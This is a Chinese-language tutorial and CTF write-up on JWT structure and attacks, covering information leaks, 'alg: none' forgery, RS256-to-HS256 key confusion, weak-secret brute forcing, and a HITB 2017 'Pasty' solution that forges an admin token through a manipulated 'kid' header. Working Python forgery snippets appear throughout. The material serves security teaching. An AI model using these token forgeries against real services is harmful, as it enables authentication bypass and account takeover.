0x01 JWT工作流程

JSON Web Token(JWT)是一个非常轻巧的规范。

这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。

JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制

以20170824 HITB的一道Web题Pasty为例,这题的功能很简单,下面看一下JWT的工作流程

注册


登录


登录时返回的数据如下


eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

登录后访问数据(GET)


可以看JWT被带到了HTTP Header中(前端的工作)

登录后提交数据(POST)


可以看到JWT其实是被当做身份认证信息携带的,另外JWT常被前端代码存储于localstorge中

携带了JWT的HTTP Header:

Authorization: Bearer eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJ0ZXN0In0.p3_kqvlEg2S7X98HPZuliUmY3JfQOVfSNfrtcxrDAUHrnSW5S8KqtsKUoMKvRtx41_sngfyIbhrnJJYvp90YaaKG90YyaVJrAVFx-uRXkssvAiE-6X8GIU9UI-kC_J5QWIasggQ7a1Ro9nhv5e7gZwJTq50YTg8yAJ8B-x9BmxKBh8k0tNh_NbfgrRrH6glLKKN3O2Z3GrWgWmUWd6RZuITj2LDRzD43LcY0RdzqSmxmHuQ8SDOWIT8kbGaBqSVO14GVoY8y1GHyskX2gZdUN6qaB6uB9W_XFdYuSrM2gD0srmq-rGcZbyEH_q-1zt8MWUw-JSJF5_JK09mMmBmrmw

0x02 JWT的格式

JWT的格式非常简单

JWT的数据分为三个部分: headers , payloads,signature(签名)

三者通过.分割,均采用base64UrlEncode

function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

如上一节中的JWT数据

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

其三个部分为

header

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
解码后为:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}

headers中包含了关于JWT的配置信息,如签名算法(alg),类型(JWT),kid表示算法所使用的密钥文件(当服务端需要多个密钥文件时使用)

payloads

eyJzdWIiOiJkdWJoZTEyMyJ9
解码后为:{"sub":"dubhe123"}

payload中存储一些用户数据,比如用户名(dubhe123)

payload中也有一些JWT标准定义的字段,用户可选择使用

{
"iss": "John Wu JWT",
"iat": 1441593502,
"exp": 1441594722,
"aud": "www.example.com",
"sub": "jrocket@example.com",
"username": "A"
}

这几个字段的含义如下,其中需要注意的字段是exp,这字段可在一定程度上被用来防止重放攻击

iss: 该JWT的签发者

sub: 该JWT所面向的用户

aud: 接收该JWT的一方

exp(expires): 什么时候过期,这里是一个Unix时间戳

iat(issued at): 在什么时候签发的

signature

signature:
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

因为header和payload是明文存储的,所以签名是为了防止数据被修改的,提供了对数据的交易功能

签名常使用RS256(RSA 非对称加密,使用私钥签名)、HS256(HMAC SHA256 对称加密)算法,签名对象为base64UrlEncode(headers) + '.' + base64UrlEncode('signature')

0x03 攻击JWT

1. 敏感信息泄露

很明显的一点,因为payload是明文传输的,所以如果payload中存在敏感信息就会出现信息泄露

2. 修改算法为none

签名算法保证了JWT在传输的过程中不被恶意用户修改

但是header中的alg字段可被修改为none

一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验

将alg修改为none后,去掉JWT中的signature数据(仅剩header + '.' + payload + '.')然后提交到服务端即可

这种攻击的例子可以参考:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

代码可以在Github上找到 https://github.com/Sjord/jwtdemo/

这个例子的解法如下

import jwt
import base64 # 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"} # 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}} def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '') # 构造算法字段为none, payload部分可以随意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'

结果如下

3. 修改算法RS256为HS256(非对称密码算法 => 对称密码算法)

算法HS256使用秘密密钥对每条消息进行签名和验证。

算法RS256使用私钥对消息进行签名,并使用公钥进行验证。

如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。

由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

后端代码会使用RSA公钥+HS256算法进行签名验证。

同样的,可以通过一个例子来理解这种攻击方式 http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

RSA公钥:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

该例子解法如下

import jwt

# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"} # eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}} public = open('public.pem.1', 'r').read() print public print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

结果如下(验证通过):

4. HS256(对称加密)密钥破解

如果HS256密钥强度较弱,可以直接暴力破解,如PyJWT库样例代码中使用secret字符串当做密钥

那么暴力猜解密钥,当密钥正确则解密成功,密钥错误解密代码抛出异常

可使用PyJWT或 John Ripper进行破解测试

附: 相关工具

PyJWT库 https://github.com/jpadilla/pyjwt


>>> import jwt >>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg' >>> jwt.decode(encoded, 'secret', algorithms=['HS256']) {'some': 'payload'}

0x04 实例:2017 HITB Pasty

http://47.74.147.52:20012/

该Web应用JWT使用RS256算法,公钥文件存放在http://47.74.147.52:20012/keys/ 目录(根据kid的值猜测得出的)

尝试将算法设置为none和将算法替换为HS256,但是均未通过服务端验证

所以JWT应该还是使用RS256算法。

该Web应用的场景为用户可以自己创建Pasty,并提供了下载文本格式的Pasty的功能。

下载链接为 http://47.74.147.52:20012/api/paste/(pasty_id )?raw

http://47.74.147.52:20012/api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw

所以可以新建一个Pasty,内容为我们自己生成的公钥

然后使用python JWT库编写代码,使用我们生成的私钥对我们构造的admin的数据进行签名

其中kid为api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw=

import jwt

private = open('key.pem', 'r').read()

print jwt.encode({"sub":"admin"}, key=private, \
headers={'kid': 'api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw='}, algorithm='RS256')

使用私钥进行签名的时候发现jwt库会抛出异常,这里直接将库中的异常处理代码注释掉即可

使用构造好的JWT访问 /api/paste获得admin的Pasty ID

访问admin的Pasty,获得Flag

0x05 参考

https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/

https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/

https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html

Hacking JWT(JSON Web Token)的更多相关文章

  1. Java JWT: JSON Web Token

    Java JWT: JSON Web Token for Java and Android JJWT aims to be the easiest to use and understand libr ...

  2. 如何在SpringBoot中集成JWT(JSON Web Token)鉴权

    这篇博客主要是简单介绍了一下什么是JWT,以及如何在Spring Boot项目中使用JWT(JSON Web Token). 1.关于JWT 1.1 什么是JWT 老生常谈的开头,我们要用这样一种工具 ...

  3. JWT(JSON Web Token) 【转载】

    JWT(JSON Web Token) 什么叫JWTJSON Web Token(JWT)是目前最流行的跨域身份验证解决方案. 一般来说,互联网用户认证是这样子的. 1.用户向服务器发送用户名和密码. ...

  4. [更新]一份包含: 采用RSA JWT(Json Web Token, RSA加密)的OAUTH2.0,HTTP BASIC,本地数据库验证,Windows域验证,单点登录的Spring Security配置文件

    没有任何注释,表怪我(¬_¬) 更新: 2016.05.29: 将AuthorizationServer和ResourceServer分开配置 2016.05.29: Token获取采用Http Ba ...

  5. ( 转 ) 什么是 JWT -- JSON WEB TOKEN

    什么是JWT Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点 ...

  6. 关于JWT(Json Web Token)的思考及使用心得

    什么是JWT? JWT(Json Web Token)是一个开放的数据交换验证标准rfc7519(php 后端实现JWT认证方法一般用来做轻量级的API鉴权.由于许多API接口设计是遵循无状态的(比如 ...

  7. 什么是JWT(Json Web Token)

    什么是 JWT (Json Web Token) 用户认证是计算机安全领域一个永恒的热点话题. JWT 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519). 该to ...

  8. API安全验证之JWT(JSON WEB TOKEN) OLCMS

    假如www.olcms.com/getUserInfo获取用户信息,你怎么知道当前用户是谁?有人说登陆时候我把他UID写入session了,如果是API接口,没有session怎么办,那么就需要把UI ...

  9. 5分钟搞懂:JWT(Json Web Token)

    https://www.qikegu.com/easy-understanding/892 JWT 基于token的用户认证原理:让用户输入账号和密码,认证通过后获得一个token(令牌),在toke ...

随机推荐

  1. Es6 新增函数

    ====函数的扩展 -----ES6 之前,不能直接为函数的参数指定默认值,只能采用变通的方法. function log(x, y) { y = y || 'World'; console.log( ...

  2. 常用的DNS

    中国互联网络中心(推荐,安全又快速):1.2.4.8.210.2.4.8.101.226.4.6(电信及移动).123.125.81.6(联通)阿里DNS:223.5.5.5.223.6.6.6goo ...

  3. Linux 文本行列转换

    使用awk进行行列转换 假设有一个文件 test ,包含的数据遵循以下格式: 同一行数据,单词之间为1个空格" " 每一行都有同样多的数据,个数相同 处理命令: awk '{for ...

  4. 没有绝对安全的系统:写在AES 256破解之后

    NULL 在理论上,理论和实践是一致的.在实践中,呵呵. ——(应该是)爱因斯坦(说的) (INFO:本文中不会出现公式,请放心阅读) AES 256被破解了? 对于TLNR(Too Long, No ...

  5. C语言基础 - 实现单向链表

    回归C基础 实现一个单向链表,并有逆序功能 (大学数据结构经常是这么入门的) //定义单链表结构体 typedef struct Node{ int value; struct Node *next; ...

  6. C++引用形参,函数返回多个值

    之前编代码有遇到过想让一个函数返回多个值的情况,low low的我不知道有什么办法,直接使用的全局变量将函数里的值传出去. 今天看书,<C++primer>第五版中文版第189页:使用引用 ...

  7. windows下配置cygwin和dig的环境变量

    配置cygwin和dig的环境变量 打开"控制面板"("开始">"设置">"控制面板"),然后双击" ...

  8. VerilogHDL可综合设计的注意事项

    可综合的语法已经记录得差不多了,剩下一些遗留的问题,在这里记录一下吧. 一.逻辑设计 (1)组合逻辑设计 下面是一些用Verilog进行组合逻辑设计时的一些注意事项: ①组合逻辑可以得到两种常用的RT ...

  9. Beautifulsoup和selenium的简单使用

    Beautifulsoup和selenium的简单使用 requests库的复习 好久没用requests了,因为一会儿要写个简单的爬虫,所以还是随便写一点复习下. import requests r ...

  10. caffe数据读取的双阻塞队列说明

    caffe的datareader类中 class QueuePair { public: explicit QueuePair(int size); ~QueuePair(); BlockingQue ...